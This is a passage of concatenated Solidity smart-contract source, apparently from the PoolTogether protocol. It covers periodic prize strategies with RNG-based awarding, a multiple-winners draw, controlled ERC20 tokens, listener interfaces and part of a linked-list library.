BeforeAwardListenerInterface indexed beforeAwardListener ); event PeriodicPrizeStrategyListenerSet( PeriodicPrizeStrategyListenerInterface indexed periodicPrizeStrategyListener ); event ExternalErc721AwardAdded( IERC721Upgradeable indexed externalErc721, uint256[] tokenIds ); event ExternalErc20AwardAdded( IERC20Upgradeable indexed externalErc20 ); event ExternalErc721AwardRemoved( IERC721Upgradeable indexed externalErc721Award ); event ExternalErc20AwardRemoved( IERC20Upgradeable indexed externalErc20Award ); event Initialized( uint256 prizePeriodStart, uint256 prizePeriodSeconds, PrizePool indexed prizePool, TicketInterface ticket, IERC20Upgradeable sponsorship, RNGInterface rng, IERC20Upgradeable[] externalErc20Awards ); struct RngRequest { uint32 id; uint32 lockBlock; uint32 requestedAt; } // Comptroller TokenListenerInterface public tokenListener; // Contract Interfaces PrizePool public prizePool; TicketInterface public ticket; IERC20Upgradeable public sponsorship; RNGInterface public rng; // Current RNG Request RngRequest internal rngRequest; /// @notice RNG Request Timeout. In fact, this is really a "complete award" timeout. /// If the rng completes the award can still be cancelled. uint32 public rngRequestTimeout; // Prize period uint256 public prizePeriodSeconds; uint256 public prizePeriodStartedAt; // External tokens awarded as part of prize MappedSinglyLinkedList.Mapping internal externalErc20s; MappedSinglyLinkedList.Mapping internal externalErc721s; // External NFT token IDs to be awarded // NFT Address => TokenIds mapping (IERC721Upgradeable => uint256[]) internal externalErc721TokenIds; /// @notice A listener that is called before the prize is awarded BeforeAwardListenerInterface public beforeAwardListener; /// @notice A listener that is called after the prize is awarded PeriodicPrizeStrategyListenerInterface public periodicPrizeStrategyListener; /// @notice Initializes a new strategy /// @param _prizePeriodStart The starting timestamp of the prize period. /// @param _prizePeriodSeconds The duration of the prize period in seconds /// @param _prizePool The prize pool to award /// @param _ticket The ticket to use to draw winners /// @param _sponsorship The sponsorship token /// @param _rng The RNG service to use function initialize ( uint256 _prizePeriodStart, uint256 _prizePeriodSeconds, PrizePool _prizePool, TicketInterface _ticket, IERC20Upgradeable _sponsorship, RNGInterface _rng, IERC20Upgradeable[] memory externalErc20Awards ) public initializer { require(address(_prizePool) != address(0), "PeriodicPrizeStrategy/prize-pool-not-zero"); require(address(_ticket) != address(0), "PeriodicPrizeStrategy/ticket-not-zero"); require(address(_sponsorship) != address(0), "PeriodicPrizeStrategy/sponsorship-not-zero"); require(address(_rng) != address(0), "PeriodicPrizeStrategy/rng-not-zero"); prizePool = _prizePool; ticket = _ticket; rng = _rng; sponsorship = _sponsorship; _setPrizePeriodSeconds(_prizePeriodSeconds); __Ownable_init(); Constants.REGISTRY.setInterfaceImplementer(address(this), Constants.TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); externalErc20s.initialize(); for (uint256 i = 0; i < externalErc20Awards.length; i++) { _addExternalErc20Award(externalErc20Awards[i]); } prizePeriodSeconds = _prizePeriodSeconds; prizePeriodStartedAt = _prizePeriodStart; externalErc721s.initialize(); // 30 min timeout _setRngRequestTimeout(1800); emit Initialized( _prizePeriodStart, _prizePeriodSeconds, _prizePool, _ticket, _sponsorship, _rng, externalErc20Awards ); emit PrizePoolOpened(_msgSender(), prizePeriodStartedAt); } function _distribute(uint256 randomNumber) internal virtual; /// @notice Calculates and returns the currently accrued prize /// @return The current prize size function currentPrize() public view returns (uint256) { return prizePool.awardBalance(); } /// @notice Allows the owner to set the token listener /// @param _tokenListener A contract that implements the token listener interface. function setTokenListener(TokenListenerInterface _tokenListener) external onlyOwner requireAwardNotInProgress { require(address(0) == address(_tokenListener) || address(_tokenListener).supportsInterface(TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER), "PeriodicPrizeStrategy/token-listener-invalid"); tokenListener = _tokenListener; emit TokenListenerUpdated(tokenListener); } /// @notice Estimates the remaining blocks until the prize given a number of seconds per block /// @param secondsPerBlockMantissa The number of seconds per block to use for the calculation. Should be a fixed point 18 number like Ether. /// @return The estimated number of blocks remaining until the prize can be awarded. function estimateRemainingBlocksToPrize(uint256 secondsPerBlockMantissa) public view returns (uint256) { return FixedPoint.divideUintByMantissa( _prizePeriodRemainingSeconds(), secondsPerBlockMantissa ); } /// @notice Returns the number of seconds remaining until the prize can be awarded. /// @return The number of seconds remaining until the prize can be awarded. function prizePeriodRemainingSeconds() external view returns (uint256) { return _prizePeriodRemainingSeconds(); } /// @notice Returns the number of seconds remaining until the prize can be awarded. /// @return The number of seconds remaining until the prize can be awarded. function _prizePeriodRemainingSeconds() internal view returns (uint256) { uint256 endAt = _prizePeriodEndAt(); uint256 time = _currentTime(); if (time > endAt) { return 0; } return endAt.sub(time); } /// @notice Returns whether the prize period is over /// @return True if the prize period is over, false otherwise function isPrizePeriodOver() external view returns (bool) { return _isPrizePeriodOver(); } /// @notice Returns whether the prize period is over /// @return True if the prize period is over, false otherwise function _isPrizePeriodOver() internal view returns (bool) { return _currentTime() >= _prizePeriodEndAt(); } /// @notice Awards collateral as tickets to a user /// @param user The user to whom the tickets are minted /// @param amount The amount of interest to mint as tickets. function _awardTickets(address user, uint256 amount) internal { prizePool.award(user, amount, address(ticket)); } /// @notice Awards all external tokens with non-zero balances to the given user. The external tokens must be held by the PrizePool contract. /// @param winner The user to transfer the tokens to function _awardAllExternalTokens(address winner) internal { _awardExternalErc20s(winner); _awardExternalErc721s(winner); } /// @notice Awards all external ERC20 tokens with non-zero balances to the given user. /// The external tokens must be held by the PrizePool contract. /// @param winner The user to transfer the tokens to function _awardExternalErc20s(address winner) internal { address currentToken = externalErc20s.start(); while (currentToken != address(0) && currentToken != externalErc20s.end()) { uint256 balance = IERC20Upgradeable(currentToken).balanceOf(address(prizePool)); if (balance > 0) { prizePool.awardExternalERC20(winner, currentToken, balance); } currentToken = externalErc20s.next(currentToken); } } /// @notice Awards all external ERC721 tokens to the given user. /// The external tokens must be held by the PrizePool contract. /// @dev The list of ERC721s is reset after every award /// @param winner The user to transfer the tokens to function _awardExternalErc721s(address winner) internal { address currentToken = externalErc721s.start(); while (currentToken != address(0) && currentToken != externalErc721s.end()) { uint256 balance = IERC721Upgradeable(currentToken).balanceOf(address(prizePool)); if (balance > 0) { prizePool.awardExternalERC721(winner, currentToken, externalErc721TokenIds[IERC721Upgradeable(currentToken)]); _removeExternalErc721AwardTokens(IERC721Upgradeable(currentToken)); } currentToken = externalErc721s.next(currentToken); } externalErc721s.clearAll(); } /// @notice Returns the timestamp at which the prize period ends /// @return The timestamp at which the prize period ends. function prizePeriodEndAt() external view returns (uint256) { // current prize started at is non-inclusive, so add one return _prizePeriodEndAt(); } /// @notice Returns the timestamp at which the prize period ends /// @return The timestamp at which the prize period ends. function _prizePeriodEndAt() internal view returns (uint256) { // current prize started at is non-inclusive, so add one return prizePeriodStartedAt.add(prizePeriodSeconds); } /// @notice Called by the PrizePool for transfers of controlled tokens /// @dev Note that this is only for *transfers*, not mints or burns /// @param controlledToken The type of collateral that is being sent function beforeTokenTransfer(address from, address to, uint256 amount, address controlledToken) external override onlyPrizePool { require(from != to, "PeriodicPrizeStrategy/transfer-to-self"); if (controlledToken == address(ticket)) { _requireAwardNotInProgress(); } if (address(tokenListener) != address(0)) { tokenListener.beforeTokenTransfer(from, to, amount, controlledToken); } } /// @notice Called by the PrizePool when minting controlled tokens /// @param controlledToken The type of collateral that is being minted function beforeTokenMint( address to, uint256 amount, address controlledToken, address referrer ) external override onlyPrizePool { if (controlledToken == address(ticket)) { _requireAwardNotInProgress(); } if (address(tokenListener) != address(0)) { tokenListener.beforeTokenMint(to, amount, controlledToken, referrer); } } /// @notice returns the current time. Used for testing. /// @return The current time (block.timestamp) function _currentTime() internal virtual view returns (uint256) { return block.timestamp; } /// @notice returns the current time. Used for testing. /// @return The current time (block.timestamp) function _currentBlock() internal virtual view returns (uint256) { return block.number; } /// @notice Starts the award process by starting random number request. The prize period must have ended. /// @dev The RNG-Request-Fee is expected to be held within this contract before calling this function function startAward() external requireCanStartAward { (address feeToken, uint256 requestFee) = rng.getRequestFee(); if (feeToken != address(0) && requestFee > 0) { IERC20Upgradeable(feeToken).approve(address(rng), requestFee); } (uint32 requestId, uint32 lockBlock) = rng.requestRandomNumber(); rngRequest.id = requestId; rngRequest.lockBlock = lockBlock; rngRequest.requestedAt = _currentTime().toUint32(); emit PrizePoolAwardStarted(_msgSender(), address(prizePool), requestId, lockBlock); } /// @notice Can be called by anyone to unlock the tickets if the RNG has timed out. function cancelAward() public { require(isRngTimedOut(), "PeriodicPrizeStrategy/rng-not-timedout"); uint32 requestId = rngRequest.id; uint32 lockBlock = rngRequest.lockBlock; delete rngRequest; emit RngRequestFailed(); emit PrizePoolAwardCancelled(msg.sender, address(prizePool), requestId, lockBlock); } /// @notice Completes the award process and awards the winners. The random number must have been requested and is now available. function completeAward() external requireCanCompleteAward { uint256 randomNumber = rng.randomNumber(rngRequest.id); delete rngRequest; if (address(beforeAwardListener) != address(0)) { beforeAwardListener.beforePrizePoolAwarded(randomNumber, prizePeriodStartedAt); } _distribute(randomNumber); if (address(periodicPrizeStrategyListener) != address(0)) { periodicPrizeStrategyListener.afterPrizePoolAwarded(randomNumber, prizePeriodStartedAt); } // to avoid clock drift, we should calculate the start time based on the previous period start time. prizePeriodStartedAt = _calculateNextPrizePeriodStartTime(_currentTime()); emit PrizePoolAwarded(_msgSender(), randomNumber); emit PrizePoolOpened(_msgSender(), prizePeriodStartedAt); } /// @notice Allows the owner to set a listener that is triggered immediately before the award is distributed /// @dev The listener must implement ERC165 and the BeforeAwardListenerInterface /// @param _beforeAwardListener The address of the listener contract function setBeforeAwardListener(BeforeAwardListenerInterface _beforeAwardListener) external onlyOwner requireAwardNotInProgress { require( address(0) == address(_beforeAwardListener) || address(_beforeAwardListener).supportsInterface(BeforeAwardListenerLibrary.ERC165_INTERFACE_ID_BEFORE_AWARD_LISTENER), "PeriodicPrizeStrategy/beforeAwardListener-invalid" ); beforeAwardListener = _beforeAwardListener; emit BeforeAwardListenerSet(_beforeAwardListener); } /// @notice Allows the owner to set a listener for prize strategy callbacks. /// @param _periodicPrizeStrategyListener The address of the listener contract function setPeriodicPrizeStrategyListener(PeriodicPrizeStrategyListenerInterface _periodicPrizeStrategyListener) external onlyOwner requireAwardNotInProgress { require( address(0) == address(_periodicPrizeStrategyListener) || address(_periodicPrizeStrategyListener).supportsInterface(PeriodicPrizeStrategyListenerLibrary.ERC165_INTERFACE_ID_PERIODIC_PRIZE_STRATEGY_LISTENER), "PeriodicPrizeStrategy/prizeStrategyListener-invalid" ); periodicPrizeStrategyListener = _periodicPrizeStrategyListener; emit PeriodicPrizeStrategyListenerSet(_periodicPrizeStrategyListener); } function _calculateNextPrizePeriodStartTime(uint256 currentTime) internal view returns (uint256) { uint256 elapsedPeriods = currentTime.sub(prizePeriodStartedAt).div(prizePeriodSeconds); return prizePeriodStartedAt.add(elapsedPeriods.mul(prizePeriodSeconds)); } /// @notice Calculates when the next prize period will start /// @param currentTime The timestamp to use as the current time /// @return The timestamp at which the next prize period would start function calculateNextPrizePeriodStartTime(uint256 currentTime) external view returns (uint256) { return _calculateNextPrizePeriodStartTime(currentTime); } /// @notice Returns whether an award process can be started /// @return True if an award can be started, false otherwise. function canStartAward() external view returns (bool) { return _isPrizePeriodOver() && !isRngRequested(); } /// @notice Returns whether an award process can be completed /// @return True if an award can be completed, false otherwise. function canCompleteAward() external view returns (bool) { return isRngRequested() && isRngCompleted(); } /// @notice Returns whether a random number has been requested /// @return True if a random number has been requested, false otherwise. function isRngRequested() public view returns (bool) { return rngRequest.id != 0; } /// @notice Returns whether the random number request has completed. /// @return True if a random number request has completed, false otherwise. function isRngCompleted() public view returns (bool) { return rng.isRequestComplete(rngRequest.id); } /// @notice Returns the block number that the current RNG request has been locked to /// @return The block number that the RNG request is locked to function getLastRngLockBlock() external view returns (uint32) { return rngRequest.lockBlock; } /// @notice Returns the current RNG Request ID /// @return The current Request ID function getLastRngRequestId() external view returns (uint32) { return rngRequest.id; } /// @notice Sets the RNG service that the Prize Strategy is connected to /// @param rngService The address of the new RNG service interface function setRngService(RNGInterface rngService) external onlyOwner requireAwardNotInProgress { require(!isRngRequested(), "PeriodicPrizeStrategy/rng-in-flight"); rng = rngService; emit RngServiceUpdated(rngService); } /// @notice Allows the owner to set the RNG request timeout in seconds. This is the time that must elapsed before the RNG request can be cancelled and the pool unlocked. /// @param _rngRequestTimeout The RNG request timeout in seconds. function setRngRequestTimeout(uint32 _rngRequestTimeout) external onlyOwner requireAwardNotInProgress { _setRngRequestTimeout(_rngRequestTimeout); } /// @notice Sets the RNG request timeout in seconds. This is the time that must elapsed before the RNG request can be cancelled and the pool unlocked. /// @param _rngRequestTimeout The RNG request timeout in seconds. function _setRngRequestTimeout(uint32 _rngRequestTimeout) internal { require(_rngRequestTimeout > 60, "PeriodicPrizeStrategy/rng-timeout-gt-60-secs"); rngRequestTimeout = _rngRequestTimeout; emit RngRequestTimeoutSet(rngRequestTimeout); } /// @notice Allows the owner to set the prize period in seconds. /// @param _prizePeriodSeconds The new prize period in seconds. Must be greater than zero. function setPrizePeriodSeconds(uint256 _prizePeriodSeconds) external onlyOwner requireAwardNotInProgress { _setPrizePeriodSeconds(_prizePeriodSeconds); } /// @notice Sets the prize period in seconds. /// @param _prizePeriodSeconds The new prize period in seconds. Must be greater than zero. function _setPrizePeriodSeconds(uint256 _prizePeriodSeconds) internal { require(_prizePeriodSeconds > 0, "PeriodicPrizeStrategy/prize-period-greater-than-zero"); prizePeriodSeconds = _prizePeriodSeconds; emit PrizePeriodSecondsUpdated(prizePeriodSeconds); } /// @notice Gets the current list of External ERC20 tokens that will be awarded with the current prize /// @return An array of External ERC20 token addresses function getExternalErc20Awards() external view returns (address[] memory) { return externalErc20s.addressArray(); } /// @notice Adds an external ERC20 token type as an additional prize that can be awarded /// @dev Only the Prize-Strategy owner/creator can assign external tokens, /// and they must be approved by the Prize-Pool /// @param _externalErc20 The address of an ERC20 token to be awarded function addExternalErc20Award(IERC20Upgradeable _externalErc20) external onlyOwnerOrListener requireAwardNotInProgress { _addExternalErc20Award(_externalErc20); } function _addExternalErc20Award(IERC20Upgradeable _externalErc20) internal { require(address(_externalErc20).isContract(), "PeriodicPrizeStrategy/erc20-null"); require(prizePool.canAwardExternal(address(_externalErc20)), "PeriodicPrizeStrategy/cannot-award-external"); (bool succeeded, bytes memory returnValue) = address(_externalErc20).staticcall(abi.encodeWithSignature("totalSupply()")); require(succeeded, "PeriodicPrizeStrategy/erc20-invalid"); externalErc20s.addAddress(address(_externalErc20)); emit ExternalErc20AwardAdded(_externalErc20); } function addExternalErc20Awards(IERC20Upgradeable[] calldata _externalErc20s) external onlyOwnerOrListener requireAwardNotInProgress { for (uint256 i = 0; i < _externalErc20s.length; i++) { _addExternalErc20Award(_externalErc20s[i]); } } /// @notice Removes an external ERC20 token type as an additional prize that can be awarded /// @dev Only the Prize-Strategy owner/creator can remove external tokens /// @param _externalErc20 The address of an ERC20 token to be removed /// @param _prevExternalErc20 The address of the previous ERC20 token in the `externalErc20s` list. /// If the ERC20 is the first address, then the previous address is the SENTINEL address: 0x0000000000000000000000000000000000000001 function removeExternalErc20Award(IERC20Upgradeable _externalErc20, IERC20Upgradeable _prevExternalErc20) external onlyOwner requireAwardNotInProgress { externalErc20s.removeAddress(address(_prevExternalErc20), address(_externalErc20)); emit ExternalErc20AwardRemoved(_externalErc20); } /// @notice Gets the current list of External ERC721 tokens that will be awarded with the current prize /// @return An array of External ERC721 token addresses function getExternalErc721Awards() external view returns (address[] memory) { return externalErc721s.addressArray(); } /// @notice Gets the current list of External ERC721 tokens that will be awarded with the current prize /// @return An array of External ERC721 token addresses function getExternalErc721AwardTokenIds(IERC721Upgradeable _externalErc721) external view returns (uint256[] memory) { return externalErc721TokenIds[_externalErc721]; } /// @notice Adds an external ERC721 token as an additional prize that can be awarded /// @dev Only the Prize-Strategy owner/creator can assign external tokens, /// and they must be approved by the Prize-Pool /// NOTE: The NFT must already be owned by the Prize-Pool /// @param _externalErc721 The address of an ERC721 token to be awarded /// @param _tokenIds An array of token IDs of the ERC721 to be awarded function addExternalErc721Award(IERC721Upgradeable _externalErc721, uint256[] calldata _tokenIds) external onlyOwnerOrListener requireAwardNotInProgress { require(prizePool.canAwardExternal(address(_externalErc721)), "PeriodicPrizeStrategy/cannot-award-external"); require(address(_externalErc721).supportsInterface(Constants.ERC165_INTERFACE_ID_ERC721), "PeriodicPrizeStrategy/erc721-invalid"); if (!externalErc721s.contains(address(_externalErc721))) { externalErc721s.addAddress(address(_externalErc721)); } for (uint256 i = 0; i < _tokenIds.length; i++) { _addExternalErc721Award(_externalErc721, _tokenIds[i]); } emit ExternalErc721AwardAdded(_externalErc721, _tokenIds); } function _addExternalErc721Award(IERC721Upgradeable _externalErc721, uint256 _tokenId) internal { require(IERC721Upgradeable(_externalErc721).ownerOf(_tokenId) == address(prizePool), "PeriodicPrizeStrategy/unavailable-token"); for (uint256 i = 0; i < externalErc721TokenIds[_externalErc721].length; i++) { if (externalErc721TokenIds[_externalErc721][i] == _tokenId) { revert("PeriodicPrizeStrategy/erc721-duplicate"); } } externalErc721TokenIds[_externalErc721].push(_tokenId); } /// @notice Removes an external ERC721 token as an additional prize that can be awarded /// @dev Only the Prize-Strategy owner/creator can remove external tokens /// @param _externalErc721 The address of an ERC721 token to be removed /// @param _prevExternalErc721 The address of the previous ERC721 token in the list. /// If no previous, then pass the SENTINEL address: 0x0000000000000000000000000000000000000001 function removeExternalErc721Award( IERC721Upgradeable _externalErc721, IERC721Upgradeable _prevExternalErc721 ) external onlyOwner requireAwardNotInProgress { externalErc721s.removeAddress(address(_prevExternalErc721), address(_externalErc721)); _removeExternalErc721AwardTokens(_externalErc721); } function _removeExternalErc721AwardTokens( IERC721Upgradeable _externalErc721 ) internal { delete externalErc721TokenIds[_externalErc721]; emit ExternalErc721AwardRemoved(_externalErc721); } function _requireAwardNotInProgress() internal view { uint256 currentBlock = _currentBlock(); require(rngRequest.lockBlock == 0 || currentBlock < rngRequest.lockBlock, "PeriodicPrizeStrategy/rng-in-flight"); } function isRngTimedOut() public view returns (bool) { if (rngRequest.requestedAt == 0) { return false; } else { return _currentTime() > uint256(rngRequestTimeout).add(rngRequest.requestedAt); } } modifier onlyOwnerOrListener() { require(_msgSender() == owner() || _msgSender() == address(periodicPrizeStrategyListener) || _msgSender() == address(beforeAwardListener), "PeriodicPrizeStrategy/only-owner-or-listener"); _; } modifier requireAwardNotInProgress() { _requireAwardNotInProgress(); _; } modifier requireCanStartAward() { require(_isPrizePeriodOver(), "PeriodicPrizeStrategy/prize-period-not-over"); require(!isRngRequested(), "PeriodicPrizeStrategy/rng-already-requested"); _; } modifier requireCanCompleteAward() { require(isRngRequested(), "PeriodicPrizeStrategy/rng-not-requested"); require(isRngCompleted(), "PeriodicPrizeStrategy/rng-not-complete"); _; } modifier onlyPrizePool() { require(_msgSender() == address(prizePool), "PeriodicPrizeStrategy/only-prize-pool"); _; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol"; /* solium-disable security/no-block-members */ interface PeriodicPrizeStrategyListenerInterface is IERC165Upgradeable { function afterPrizePoolAwarded(uint256 randomNumber, uint256 prizePeriodStartedAt) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; library PeriodicPrizeStrategyListenerLibrary { /* * bytes4(keccak256('afterPrizePoolAwarded(uint256,uint256)')) == 0x575072c6 */ bytes4 public constant ERC165_INTERFACE_ID_PERIODIC_PRIZE_STRATEGY_LISTENER = 0x575072c6; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "../PeriodicPrizeStrategy.sol"; contract MultipleWinners is PeriodicPrizeStrategy { uint256 internal __numberOfWinners; bool public splitExternalErc20Awards; event SplitExternalErc20AwardsSet(bool splitExternalErc20Awards); event NumberOfWinnersSet(uint256 numberOfWinners); event NoWinners(); function initializeMultipleWinners ( uint256 _prizePeriodStart, uint256 _prizePeriodSeconds, PrizePool _prizePool, TicketInterface _ticket, IERC20Upgradeable _sponsorship, RNGInterface _rng, uint256 _numberOfWinners ) public initializer { IERC20Upgradeable[] memory _externalErc20Awards; PeriodicPrizeStrategy.initialize( _prizePeriodStart, _prizePeriodSeconds, _prizePool, _ticket, _sponsorship, _rng, _externalErc20Awards ); _setNumberOfWinners(_numberOfWinners); } function setSplitExternalErc20Awards(bool _splitExternalErc20Awards) external onlyOwner requireAwardNotInProgress { splitExternalErc20Awards = _splitExternalErc20Awards; emit SplitExternalErc20AwardsSet(splitExternalErc20Awards); } function setNumberOfWinners(uint256 count) external onlyOwner requireAwardNotInProgress { _setNumberOfWinners(count); } function _setNumberOfWinners(uint256 count) internal { require(count > 0, "MultipleWinners/winners-gte-one"); __numberOfWinners = count; emit NumberOfWinnersSet(count); } function numberOfWinners() external view returns (uint256) { return __numberOfWinners; } function _distribute(uint256 randomNumber) internal override { uint256 prize = prizePool.captureAwardBalance(); // main winner is simply the first that is drawn address mainWinner = ticket.draw(randomNumber); // If drawing yields no winner, then there is no one to pick if (mainWinner == address(0)) { emit NoWinners(); return; } // main winner gets all external ERC721 tokens _awardExternalErc721s(mainWinner); address[] memory winners = new address[](__numberOfWinners); winners[0] = mainWinner; uint256 nextRandom = randomNumber; for (uint256 winnerCount = 1; winnerCount < __numberOfWinners; winnerCount++) { // add some arbitrary numbers to the previous random number to ensure no matches with the UniformRandomNumber lib bytes32 nextRandomHash = keccak256(abi.encodePacked(nextRandom + 499 + winnerCount*521)); nextRandom = uint256(nextRandomHash); winners[winnerCount] = ticket.draw(nextRandom); } // yield prize is split up among all winners uint256 prizeShare = prize.div(winners.length); if (prizeShare > 0) { for (uint i = 0; i < winners.length; i++) { _awardTickets(winners[i], prizeShare); } } if (splitExternalErc20Awards) { address currentToken = externalErc20s.start(); while (currentToken != address(0) && currentToken != externalErc20s.end()) { uint256 balance = IERC20Upgradeable(currentToken).balanceOf(address(prizePool)); uint256 split = balance.div(__numberOfWinners); if (split > 0) { for (uint256 i = 0; i < winners.length; i++) { prizePool.awardExternalERC20(winners[i], currentToken, split); } } currentToken = externalErc20s.next(currentToken); } } else { _awardExternalErc20s(mainWinner); } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "./MultipleWinners.sol"; import "../../external/openzeppelin/ProxyFactory.sol"; /// @title Creates a minimal proxy to the MultipleWinners prize strategy. Very cheap to deploy. contract MultipleWinnersProxyFactory is ProxyFactory { MultipleWinners public instance; constructor () public { instance = new MultipleWinners(); } function create() external returns (MultipleWinners) { return MultipleWinners(deployMinimal(address(instance), "")); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; /// @title Interface that allows a user to draw an address using an index interface RegistryInterface { function lookup() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; /// @title Interface that allows a user to draw an address using an index interface ReserveInterface { function reserveRateMantissa(address prizePool) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/drafts/ERC20PermitUpgradeable.sol"; import "./TokenControllerInterface.sol"; import "./ControlledTokenInterface.sol"; /// @title Controlled ERC20 Token /// @notice ERC20 Tokens with a controller for minting & burning contract ControlledToken is ERC20PermitUpgradeable, ControlledTokenInterface { /// @notice Interface to the contract responsible for controlling mint/burn TokenControllerInterface public override controller; /// @notice Initializes the Controlled Token with Token Details and the Controller /// @param _name The name of the Token /// @param _symbol The symbol for the Token /// @param _decimals The number of decimals for the Token /// @param _controller Address of the Controller contract for minting & burning function initialize( string memory _name, string memory _symbol, uint8 _decimals, TokenControllerInterface _controller ) public virtual initializer { __ERC20_init(_name, _symbol); __ERC20Permit_init("PoolTogether ControlledToken"); controller = _controller; _setupDecimals(_decimals); } /// @notice Allows the controller to mint tokens for a user account /// @dev May be overridden to provide more granular control over minting /// @param _user Address of the receiver of the minted tokens /// @param _amount Amount of tokens to mint function controllerMint(address _user, uint256 _amount) external virtual override onlyController { _mint(_user, _amount); } /// @notice Allows the controller to burn tokens from a user account /// @dev May be overridden to provide more granular control over burning /// @param _user Address of the holder account to burn tokens from /// @param _amount Amount of tokens to burn function controllerBurn(address _user, uint256 _amount) external virtual override onlyController { _burn(_user, _amount); } /// @notice Allows an operator via the controller to burn tokens on behalf of a user account /// @dev May be overridden to provide more granular control over operator-burning /// @param _operator Address of the operator performing the burn action via the controller contract /// @param _user Address of the holder account to burn tokens from /// @param _amount Amount of tokens to burn function controllerBurnFrom(address _operator, address _user, uint256 _amount) external virtual override onlyController { if (_operator != _user) { uint256 decreasedAllowance = allowance(_user, _operator).sub(_amount, "ControlledToken/exceeds-allowance"); _approve(_user, _operator, decreasedAllowance); } _burn(_user, _amount); } /// @dev Function modifier to ensure that the caller is the controller contract modifier onlyController { require(_msgSender() == address(controller), "ControlledToken/only-controller"); _; } /// @dev Controller hook to provide notifications & rule validations on token transfers to the controller. /// This includes minting and burning. /// May be overridden to provide more granular control over operator-burning /// @param from Address of the account sending the tokens (address(0x0) on minting) /// @param to Address of the account receiving the tokens (address(0x0) on burning) /// @param amount Amount of tokens being transferred function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { controller.beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "./TokenControllerInterface.sol"; /// @title Controlled ERC20 Token /// @notice ERC20 Tokens with a controller for minting & burning interface ControlledTokenInterface is IERC20Upgradeable { /// @notice Interface to the contract responsible for controlling mint/burn function controller() external view returns (TokenControllerInterface); /// @notice Allows the controller to mint tokens for a user account /// @dev May be overridden to provide more granular control over minting /// @param _user Address of the receiver of the minted tokens /// @param _amount Amount of tokens to mint function controllerMint(address _user, uint256 _amount) external; /// @notice Allows the controller to burn tokens from a user account /// @dev May be overridden to provide more granular control over burning /// @param _user Address of the holder account to burn tokens from /// @param _amount Amount of tokens to burn function controllerBurn(address _user, uint256 _amount) external; /// @notice Allows an operator via the controller to burn tokens on behalf of a user account /// @dev May be overridden to provide more granular control over operator-burning /// @param _operator Address of the operator performing the burn action via the controller contract /// @param _user Address of the holder account to burn tokens from /// @param _amount Amount of tokens to burn function controllerBurnFrom(address _operator, address _user, uint256 _amount) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; /// @title Interface that allows a user to draw an address using an index interface TicketInterface { /// @notice Selects a user using a random number. The random number will be uniformly bounded to the ticket totalSupply. /// @param randomNumber The random number to use to select a user. /// @return The winner function draw(uint256 randomNumber) external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; /// @title Controlled ERC20 Token Interface /// @notice Required interface for Controlled ERC20 Tokens linked to a Prize Pool /// @dev Defines the spec required to be implemented by a Controlled ERC20 Token interface TokenControllerInterface { /// @dev Controller hook to provide notifications & rule validations on token transfers to the controller. /// This includes minting and burning. /// @param from Address of the account sending the tokens (address(0x0) on minting) /// @param to Address of the account receiving the tokens (address(0x0) on burning) /// @param amount Amount of tokens being transferred function beforeTokenTransfer(address from, address to, uint256 amount) external; } pragma solidity ^0.6.4; import "./TokenListenerInterface.sol"; import "./TokenListenerLibrary.sol"; import "../Constants.sol"; abstract contract TokenListener is TokenListenerInterface { function supportsInterface(bytes4 interfaceId) external override view returns (bool) { return ( interfaceId == Constants.ERC165_INTERFACE_ID_ERC165 || interfaceId == TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER ); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol"; /// @title An interface that allows a contract to listen to token mint, transfer and burn events. interface TokenListenerInterface is IERC165Upgradeable { /// @notice Called when tokens are minted. /// @param to The address of the receiver of the minted tokens. /// @param amount The amount of tokens being minted /// @param controlledToken The address of the token that is being minted /// @param referrer The address that referred the minting. function beforeTokenMint(address to, uint256 amount, address controlledToken, address referrer) external; /// @notice Called when tokens are transferred or burned. /// @param from The address of the sender of the token transfer /// @param to The address of the receiver of the token transfer. Will be the zero address if burning. /// @param amount The amount of tokens transferred /// @param controlledToken The address of the token that was transferred function beforeTokenTransfer(address from, address to, uint256 amount, address controlledToken) external; } pragma solidity ^0.6.12; library TokenListenerLibrary { /* * bytes4(keccak256('beforeTokenMint(address,uint256,address,address)')) == 0x4d7f3db0 * bytes4(keccak256('beforeTokenTransfer(address,address,uint256,address)')) == 0xb2210957 * * => 0x4d7f3db0 ^ 0xb2210957 == 0xff5e34e7 */ bytes4 public constant ERC165_INTERFACE_ID_TOKEN_LISTENER = 0xff5e34e7; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; /// @notice An efficient implementation of a singly linked list of addresses /// @dev A mapping(address => address) tracks the 'next' pointer. A special address called the SENTINEL is used to denote the beginning and end of the list. library MappedSinglyLinkedList { /// @notice The special value address used to denote the end of the list address public constant SENTINEL = address(0x1); /// @notice The data structure to use for the list. struct Mapping { uint256 count; mapping(address => address) addressMap; } /// @notice Initializes the list. /// @dev It is important that this is called so that the SENTINEL is correctly setup. function initialize(Mapping storage self) internal { require(self.count == 0, "Already init"); self.addressMap[SENTINEL] = SENTINEL; } function start(Mapping storage self) internal view returns (address) { return self.addressMap[SENTINEL]; } function next(Mapping storage self, address current) internal view returns (address) { return self.addressMap[current]; } function end(Mapping storage) internal pure returns (address) { return SENTINEL; } function addAddresses(Mapping storage self, address[] memory addresses) internal { for (uint256 i = 0; i < addresses.length; i++) { addAddress(self, 